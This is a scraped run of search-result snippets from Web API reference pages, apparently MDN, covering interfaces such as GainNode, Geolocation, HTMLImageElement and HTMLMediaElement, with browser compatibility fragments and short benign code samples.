usage of an AudioContext to create a GainNode, which is then used to mute and unmute the audio when a Mute button is clicked by changing the gain property value. ...
...u haven't // connected your source into the output in addition to using the GainNode. gainNode.gain.setValueAtTime(0, audioCtx.currentTime); mute.id = "activated"; mute.innerHTML = "Unmute"; } else { gainNode.gain.setValueAtTime(1, audioCtx.currentTime); mute.id = ""; mute.innerHTML = "Mute"; } } Specifications Specification Status Comment
Web Audio APIThe definition of 'gain' in that specification. Working Draft ...
GainNode - Web APIs
usage of an AudioContext to create a GainNode, which is then used to mute and unmute the audio when a Mute button is clicked by changing the gain property value. ...
...u haven't // connected your source into the output in addition to using the GainNode. gainNode.gain.setValueAtTime(0, audioCtx.currentTime); mute.id = "activated"; mute.innerHTML = "Unmute"; } else { gainNode.gain.setValueAtTime(1, audioCtx.currentTime); mute.id = ""; mute.innerHTML = "Mute"; } } Specifications Specification Status Comment
Web Audio APIThe definition of 'GainNode' in that specification. Working Draft ...
Gamepad.axes - Web APIs
ty of the Gamepad interface returns an array representing the controls with axes present on the device (e.g. analog thumb sticks).- Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0). ...
... representing the controls with axes present on the device (e.g. analog thumb sticks).- Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0). ...
Geolocation - Web APIs
An object with this interface is obtained using the navigator.geolocation property implemented by the Navigator object. Note: For security reasons, when a
web page tries to access location information, the user is notified and asked to grant permission. Be aware that each browser has its own policies and methods for requesting this permission. ...
...ion interface represents an object able to programmatically obtain the position of the device. It gives
Web content access to the location of the device. This allows a
Web site or app to offer customized results based on the user's location. An object with this interface is obtained using the navigator.geolocation property implemented by the Navigator object. Note: For security reasons, when a
web page tries to access location information, the user is notified and asked to grant permission. Be aware that each browser has its own policies and methods for requesting this permission. Properties The Geolocation interface neither implements, nor inherits any property. Methods The Geolocation interface doesn't inherit any method. Geolocation.getCurrentPosition() Secure context Determine...
GlobalEventHandlers - Web APIs
Note: GlobalEventHandlers is a mixin and not an interface; you can't actually create an object of type GlobalEventHandlers. Properties This interface doesn't include any properties except for the event handlers listed below. Event handlers These event handlers are defined on the GlobalEventHandlers mixin, and implemented by HTMLElement, Document, Window, as well as by WorkerGlobalScope for
Web Workers. GlobalEventHandlers.onabort Is an EventHandler representing the code to be called when the abort event is raised. GlobalEventHandlers.onanimationcancel An EventHandler called when an animationcancel event is sent, indicating that a running CSS animation has been canceled. GlobalEventHandlers.onanimationend An EventHandler called when an animationend event is sent, indicating...
... Is an EventHandler representing the code to be called when the seeking event is raised. GlobalEventHandlers.onselect Is an EventHandler representing the code to be called when the select event is raised. GlobalEventHandlers.onselectstart Is an EventHandler representing the code to be called when the selectionchange event is raised, i.e. when the user starts to make a new text selection on a
web page. GlobalEventHandlers.onselectionchange Is an EventHandler representing the code to be called when the selectionchange event is raised, i.e. when the text selected on a
web page changes. GlobalEventHandlers.onshow Is an EventHandler representing the code to be called when the show event is raised. GlobalEventHandlers.onsort Is an EventHandler representing the code to be called when th...
HTMLAnchorElement.referrerPolicy - Web APIs
y attribute' in that specification. Candidate Recommendation Added the referrerPolicy property. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...licyChrome Full support 51Edge Full support 79Firefox Full support 50IE No support NoOpera Full support 38Safari Full support 11.1
WebView Android Full support 51Chrome Android Full support 51Firefox Android Full support 50Opera Android Full support 41Safari iOS No support NoSamsung Internet Android ...
HTMLAreaElement.referrerPolicy - Web APIs
y attribute' in that specification. Candidate Recommendation Added the referrerPolicy property. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...licyChrome Full support 51Edge Full support 79Firefox Full support 50IE No support NoOpera Full support 38Safari Full support 11.1
WebView Android Full support 51Chrome Android Full support 51Firefox Android Full support 50Opera Android Full support 41Safari iOS No support NoSamsung Internet Android ...
HTMLCanvasElement.toBlob() - Web APIs
he quality of the output. Syntax canvas.toBlob(callback, mimeType, qualityArgument); Parameters callback A callback function with the resulting Blob object as a single argument. mimeType Optional A DOMString indicating the image format. The default type is image/png. qualityArgument Optional A Number between 0 and 1 indicating image quality if the requested type is image/jpeg or image/
webp. If this argument is anything else, the default values 0.92 and 0.80 are used for image/jpeg and image/
webp respectively. Other arguments are ignored. Return value None. Exceptions SecurityError The canvas's bitmap is not origin clean; at least some of its contents come from secure Examples Getting a file representing the canvas Once you have drawn content into a canvas, you can conv...
... var canvas = document.getElementById('canvas'); var d = canvas.width; ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.moveTo(d / 2, 0); ctx.lineTo(d, d); ctx.lineTo(0, d); ctx.closePath(); ctx.fillStyle = 'yellow'; ctx.fill(); function blobCallback(iconName) { return function(b) { var r = new FileReader(); r.onloadend = function () { // r.result contains the ArrayBuffe...
HTMLElement.offsetParent - Web APIs
Model (CSSOM) View ModuleThe definition of 'offsetParent' in that specification. Working Draft Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...setParentChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 8Opera Full support 8Safari Full support 3
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
HTMLFormControlsCollection - Web APIs
nterface replaces one method from HTMLCollection, on which it is based. ...
...height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">HTMLCollection</text></a><polyline points="141,25 151,20 151,30 141,25" stroke="#D4DDE4" fill="none"/><line x1="151" y1="25" x2="181" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/HTMLFormControlsCollection" target="_top"><rect x="181" y="1" width="260" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">HTMLFormControlsCollection</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: a...
HTMLIFrameElement.allowPaymentRequest - Web APIs
efinition of 'HTMLIFrameElement: allowPaymentRequest' in that specification. Living Standard Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetallowPaymentRequest ExperimentalChrome Full support 60Disabled Full support 60Disabled Disabled From version 60: this feature is behind the #
web-payments preference (needs to be set to Enabled). To change preferences in Ch...
...ature is behind the #
web-payments preference (needs to be set to Enabled). To change preferences in Chrome, visit chrome://flags.Edge Full support 15Firefox Full support 56IE ? Opera No support NoSafari ?
WebView Android No support NoChrome Android Full support 61Disabled Full support 61Disabled Disabled From version 61: this feature is behind the #
web-payments preference (needs to be set to Enabled). To change preferences in Chrome, visit chrome://flags.Firefox Andro...
HTMLIFrameElement.csp - Web APIs
ed EnforcementThe definition of 'csp' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...droidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetcsp ExperimentalChrome Full support 61Edge Full support <=79Firefox ? IE ? Opera Full support 48Safari ?
WebView Android Full support 61Chrome Android Full support 61Firefox Android ? Opera Android Full support 45Safari iOS ? Samsung Internet Android Full support 8.0L...
HTMLIFrameElement.referrerPolicy - Web APIs
dThe definition of 'HTMLIFrameElement: referrerPolicy' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...licyChrome Full support 51Edge Full support 79Firefox Full support 50IE No support NoOpera Full support 38Safari Full support 11.1
WebView Android Full support 51Chrome Android Full support 51Firefox Android Full support 50Opera Android Full support 41Safari iOS No support NoSamsung Internet Android ...
HTMLIFrameElement.src - Web APIs
ving StandardThe definition of 'HTMLIFrameElement: src' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...afari on iOSSamsung InternetsrcChrome Full support 43Edge Full support 12Firefox Full support YesIE ? ...
HTMLImageElement.align - Web APIs
SpecificationThe definition of 'HTMLImageElement.align' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ri on iOSSamsung InternetalignChrome Full support 1Edge Full support 12Firefox Full support YesIE ? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android ? Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.alt - Web APIs
HTML Living StandardThe definition of 'HTMLImageElement.alt' in that specification. Unknown Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...fari on iOSSamsung InternetaltChrome Full support 1Edge Full support 12Firefox Full support YesIE ? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android ? Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.border - Web APIs
SpecificationThe definition of 'HTMLImageElement.border' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...i on iOSSamsung InternetborderChrome Full support 1Edge Full support 12Firefox Full support YesIE ? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android ? Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.complete - Web APIs
ML Living StandardThe definition of 'HTMLImageElement.complete' in that specification. Unknown Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.crossOrigin - Web APIs
Living StandardThe definition of 'HTMLImageElement.crossOrigin' in that specification. Unknown Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.currentSrc - Web APIs
StandardThe definition of 'HTMLImageElement.currentSrc' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...bled Disabled From version 32 until version 52 (exclusive): this feature is behind the dom.image.srcset.enabled preference (needs to be set to true). ...
HTMLImageElement.decoding - Web APIs
HTML Living StandardThe definition of 'decoding' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Safari iOS Full support 11.3Samsung Internet Android Full support ...
HTMLImageElement.height - Web APIs
ing StandardThe definition of 'HTMLImageElement.height' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...iOSSamsung InternetheightChrome Full support 1Edge Full support 12Firefox Full support YesIE .html? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android ? Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.hspace - Web APIs
ecification. Recommendation Provides additional details not present in the newer specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...i on iOSSamsung InternethspaceChrome Full support 1Edge Full support 12Firefox Full support YesIE ? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android ? Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.isMap - Web APIs
ving StandardThe definition of 'HTMLImageElement.isMap' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ri on iOSSamsung InternetisMapChrome Full support 1Edge Full support 12Firefox Full support YesIE ? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android ? Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.longDesc - Web APIs
ndation Provides an actual description of this property; the HTML5 spec only says it's deprecated. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...on iOSSamsung InternetlongDescChrome Full support 1Edge Full support 12Firefox Full support YesIE ? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android ? Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.lowSrc - Web APIs
ification (it was a Mozilla extension to HTML); however, HTML 5 does list it among the obsolete attributes. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...on iOSSamsung InternetlowSrcChrome Full support 1Edge Full support <=18Firefox Full support YesIE ? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support YesLegend ...
HTMLImageElement.name - Web APIs
' in that specification. Recommendation Provides additional details not available in the HTML 5 Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ari on iOSSamsung InternetnameChrome Full support 1Edge Full support 12Firefox Full support YesIE ? Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android ? Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.naturalHeight - Web APIs
ndardThe definition of 'HTMLImageElement.naturalheight' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.naturalWidth - Web APIs
andardThe definition of 'HTMLImageElement.naturalWidth' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Safari iOS Full support YesSamsung Internet Android Full support ...
HTMLImageElement.referrerPolicy - Web APIs
y attribute' in that specification. Candidate Recommendation Added the referrerPolicy property. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...licyChrome Full support 51Edge Full support 79Firefox Full support 50IE No support NoOpera Full support 38Safari Full support 11.1
WebView Android Full support 51Chrome Android Full support 51Firefox Android Full support 50Opera Android Full support 41Safari iOS No support NoSamsung Internet Android ...
HTMLImageElement.sizes - Web APIs
ving StandardThe definition of 'HTMLImageElement.sizes' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...isabled Disabled From version 33 until version 52 (exclusive): this feature is behind the dom.image.picture.enabled preference (needs to be set to true). ...
HTMLImageElement.src - Web APIs
Living StandardThe definition of 'HTMLImageElement.src' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...fari on iOSSamsung InternetsrcChrome Full support 1Edge Full support 12Firefox Full support YesIE ? ...
HTMLImageElement.useMap - Web APIs
g StandardThe definition of 'HTMLImageElement.useMap' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...i on iOSSamsung InternetuseMapChrome Full support 1Edge Full support 12Firefox Full support YesIE ? ...
HTMLImageElement.vspace - Web APIs
e' in that specification. Recommendation The HTML 4.01 specification offers additional details. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...i on iOSSamsung InternetvspaceChrome Full support 1Edge Full support 12Firefox Full support YesIE ? ...
HTMLImageElement.width - Web APIs
ving StandardThe definition of 'HTMLImageElement.width' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... iOSSamsung InternetwidthChrome Full support 1Edge Full support 12Firefox Full support YesIE .html? ...
HTMLLinkElement.as - Web APIs
loadThe definition of 'as' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...alChrome Full support 50Edge Full support 17Firefox Full support 56IE Full support YesOpera Full support 37Safari Full support Yes
WebView Android Full support 50Chrome Android Full support 50Firefox Android Full support 56Opera Android Full support 37Safari iOS Full support YesSamsung Internet Android ...
HTMLMediaElement: abort event - Web APIs
The abort event is fired when the resource was not fully loaded, but not as the result of an error. ...
... No Interface Event Event handler property onabort Examples const video = document.querySelector('video'); const videoSrc = 'https://path/to/video.
webm'; video.addEventListener('abort', () => { console.log(`Abort loading: ${videoSrc}`); }); const source = document.createElement('source'); source.setAttribute('src', videoSrc); source.setAttribute('type', 'video/
webm'); video.appendChild(source); Specifications Specification Status HTML Living Standard Living Standard HTML5 Recommendation ...
HTMLMediaElement.captureStream() - Web APIs
The captureStream() property of the HTMLMediaElement interface returns a MediaStream object which is streaming a real-time capture of the content being rendered in the media element. This can be used, for example, as a source for a
WebRTC RTCPeerConnection. Syntax var mediaStream = mediaElement.captureStream() Parameters None. Return value A MediaStream object which can be used as a source for audio and/or video data by other media processing code, or as a source for
WebRTC. ...
...ue A MediaStream object which can be used as a source for audio and/or video data by other media processing code, or as a source for
WebRTC. Example In this example, an event handler is established so that clicking a button starts capturing the contents of a media element with the ID "playback" into a MediaStream. The stream can then be used for other purposes--like a source for streaming over
WebRTC, to allow sharing prerecorded videos with another person during a video call. document.querySelector('.playAndRecord').addEventListener('click', function() { var playbackElement = document.getElementById("playback"); var captureStream = playbackElement.captureStream(); playbackElement.play(); }); See Recording a media element for a longer and more intricate example and explanation. S...
HTMLMediaElement.controlsList - Web APIs
Specification Status Comment Controls List API: Solution outline Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...r AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetcontrolsListChrome Full support 58Edge Full support <=79Firefox ? IE ? Opera Full support 45Safari ?
WebView Android Full support 58Chrome Android Full support 58Firefox Android ? Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0L...
HTMLMediaElement: loadstart event - Web APIs
Living Standard HTML5The definition of 'loadstart media event' in that specification. Recommendation ...
... Living Standard HTML5The definition of 'loadstart media event' in that specification. Recommendation ...
HTMLMediaElement.play() - Web APIs
ource (which may be specified as a MediaStream, MediaSource, Blob, or File, for example) doesn't represent a supported media format. Other exceptions may be reported, depending on browser implementation details, media player implementation, and so forth. Usage notes Although the term "autoplay" is usually thought of as referring to pages that immediately begin playing media upon being loaded,
web browsers' autoplay policies also apply to any script-initiated playback of media, including calls to play(). If the user agent is configured not to allow automatic or script-initiated playback of media, calling play() will cause the returned promise to be immediately rejected with a NotAllowedError.
Web sites should be prepared to handle this situation. For example, a site should not present a u...
...or rejected. See the example below for more information. Note: The play() method may cause the user to be asked to grant permission to play the media, resulting in a possible delay before the returned promise is resolved. Be sure your code doesn't expect an immediate response. For even more in-depth information about autoplay and autoplay blocking, see our article Autoplay guide for media and
Web Audio APIs. Example This example demonstrates how to confirm that playback has begun and how to gracefully handle blocked automatic playback: let videoElem = document.getElementById("video"); let playButton = document.getElementById("playbutton"); playButton.addEventListener("click", handlePlayButton, false); playVideo(); async function playVideo() { try { await videoElem.play(); p...
HTMLMediaElement: progress event - Web APIs
Living Standard HTML5The definition of 'progress media event' in that specification. Recommendation ...
... Living Standard HTML5The definition of 'progress media event' in that specification. Recommendation ...
HTMLMediaElement.setMediaKeys() - Web APIs
nsThe definition of 'setMediaKeys()' in that specification. Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...pera for AndroidSafari on iOSSamsung InternetsetMediaKeysChrome Full support YesEdge Full support 13Firefox Full support YesIE ? Opera Full support YesSafari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Full support Full support ...
HTMLOptionsCollection - Web APIs
items. This object is returned only by the options property of select. ...
...height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">HTMLCollection</text></a><polyline points="141,25 151,20 151,30 141,25" stroke="#D4DDE4" fill="none"/><line x1="151" y1="25" x2="181" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/HTMLOptionsCollection" target="_top"><rect x="181" y="1" width="210" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="286" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">HTMLOptionsCollection</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} ...
HTMLOrForeignElement.nonce - Web APIs
Specification HTML Living StandardThe definition of 'nonce' in that specification. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...nonceChrome Full support 61Edge Full support 79Firefox Full support 75IE No support NoOpera Full support YesSafari Full support 10
WebView Android Full support 61Chrome Android Full support 61Firefox Android No support NoOpera Android Full support YesSafari iOS Full support 10Samsung Internet Android ...
HTMLScriptElement.referrerPolicy - Web APIs
dThe definition of 'HTMLScriptElement: referrerPolicy' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...olicyChrome Full support 70Edge Full support <=79Firefox Full support 65IE No support NoOpera Full support YesSafari No support No
WebView Android Full support 70Chrome Android Full support 70Firefox Android Full support 65Opera Android Full support YesSafari iOS No support NoSamsung Internet Android ...
HTMLSlotElement.assignedElements() - Web APIs
Living StandardThe definition of 'assignedElements()' in that specification. Living Standard Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rnetassignedElements ExperimentalChrome Full support 65Edge Full support 79Firefox Full support 66IE No support NoOpera Full support YesSafari ?
WebView Android Full support 65Chrome Android Full support 65Firefox Android Full support 66Opera Android Full support YesSafari iOS ? Samsung Internet Android Full support ...
HTMLVideoElement.msHorizontalMirror - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. msHorizontalMirror is a read/write property which gets or sets whether a video element is flipped horizontally in the display. This proprietary property is specific to Internet Explorer and Microsoft Edge. Syntax HTMLVideoElement.msHorizontalMirror: boolean; Value Boolean value set to true flips the video playback horizontally. ...
...ad/write property which gets or sets whether a video element is flipped horizontally in the display. This proprietary property is specific to Internet Explorer and Microsoft Edge. Syntax HTMLVideoElement.msHorizontalMirror: boolean; Value Boolean value set to true flips the video playback horizontally. Video perspective is flipped on a horizontal axis - this may be useful for playback of a
webcam video, providing the user with better mirroring of their real behaviors (ie. when user moves left, their representation on-screen would move left as well). Example var myVideo = document.getElementById("videoTag1"); myVideo.msHorizontalMirror = true; myVideo.play(); Example #2: var flip = document.querySelector('#flip'); flip.addEventListener('click', function...
HashChangeEvent - Web APIs
tifier is the part of the URL that follows (and includes) the # symbol. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/HashChangeEvent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">HashChangeEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties ...
History.back() - Web APIs
ML5The definition of 'History.back()' in that specification. Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Chrome Full support YesEdge Full support 12Firefox Full support YesIE Full support 10Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
History.forward() - Web APIs
HTML5The definition of 'History' in that specification. Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Chrome Full support YesEdge Full support 12Firefox Full support YesIE Full support 10Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
HkdfParams - Web APIs
Properties name A DOMString. This should be set to HKDF. hash A DOMString representing the digest algorithm to use. This may be one of: SHA-1 SHA-256 SHA-384 SHA-512 salt A BufferSource. The HKDF specification states that adding salt "adds significantly to the strength of HKDF". Ideally, the salt is a random or pseudo-random value with the same length as the output of the digest function. Unlike the input key material passed into deriveKey(), salt does not need to be kept secret. info A BufferSource representing application-specific contextual information. ...
... Recommendation ...
HmacImportParams - Web APIs
Properties name A DOMString. This should be set to HMAC. hash A DOMString representing the name of the digest function to use. The can take a value of SHA-256, SHA-384, or SHA-512. Warning: Although you can technically pass SHA-1 here, this is strongly discouraged as it is considered vulnerable. length Optional A Number representing the length in bits of the key. If this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen. ...
...representing the length in bits of the key. If this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen. Unless you have a good reason to use a different length, omit this property and use the default. Examples See the examples for SubtleCrypto.importKey(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.HmacImportParams' in that specification. Recommendation ...
HmacKeyGenParams - Web APIs
Properties name A DOMString. This should be set to HMAC. hash A DOMString representing the name of the digest function to use. You can pass any of SHA-1, SHA-256, SHA-384, or SHA-512 here. length Optional A Number -- the length in bits of the key. If this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen. Unless you have a good reason to use a different length, omit this property and use the default. Examples See the examples for SubtleCrypto.generateKey(). ...
... Number -- the length in bits of the key. If this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen. Unless you have a good reason to use a different length, omit this property and use the default. Examples See the examples for SubtleCrypto.generateKey(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.HmacKeyGenParams' in that specification. Recommendation ...
IDBDatabaseSync - Web APIs
It may however be reintroduced in the future if there is enough demand from
web developers. The DatabaseSync interface in the IndexedDB API represents a synchronous connection to a database. ...
... The DatabaseSync interface in the IndexedDB API represents a synchronous connection to a database. ...
IDBIndexSync - Web APIs
It may however be reintroduced in the future if there is enough demand from
web developers. The IDBIndexSync interface of the IndexedDB API provides synchronous access to an index in a database. ...
... The IDBIndexSync interface of the IndexedDB API provides synchronous access to an index in a database. ...
IDBObjectStoreSync - Web APIs
It may however be reintroduced in the future if there is enough demand from
web developers. The IDBObjectStoreSync interface of the IndexedDB API provides synchronous access to an object store of a database. ...
... The IDBObjectStoreSync interface of the IndexedDB API provides synchronous access to an object store of a database. ...
IDBTransaction.objectStoreNames - Web APIs
Database API DraftThe definition of 'ObjectStoreNames' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ung InternetobjectStoreNamesChrome Full support 48Edge Full support <=79Firefox Full support YesIE ? ...
IIRFilterNode - Web APIs
It lets the parameters of the filter response be specified, so that it can be tuned as needed. Number of inputs 1 Number of outputs 1 Channel count mode "max" Channel count Same as on the input Channel interpretation "speakers" Typically, it's best to use the BiquadFilterNode interface to implement higher-order filters. There are several reasons why: Biquad filters are typically less sensitive to numeric quirks. ...
...demo live on Codepen. Also see the source code on GitHub. It includes some different coefficient values for different lowpass frequencies -- you can change the value of the filterNumber constant to a value between 0 and 3 to check out the different available effects. Also see our Using IIR filters guide for a full explanation. Specifications Specification Status Comment
Web Audio APIThe definition of 'IIRFilterNode' in that specification. Working Draft Initial Definition ...
ImageCapture.takePhoto() - Web APIs
aptureThe definition of 'takePhoto()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
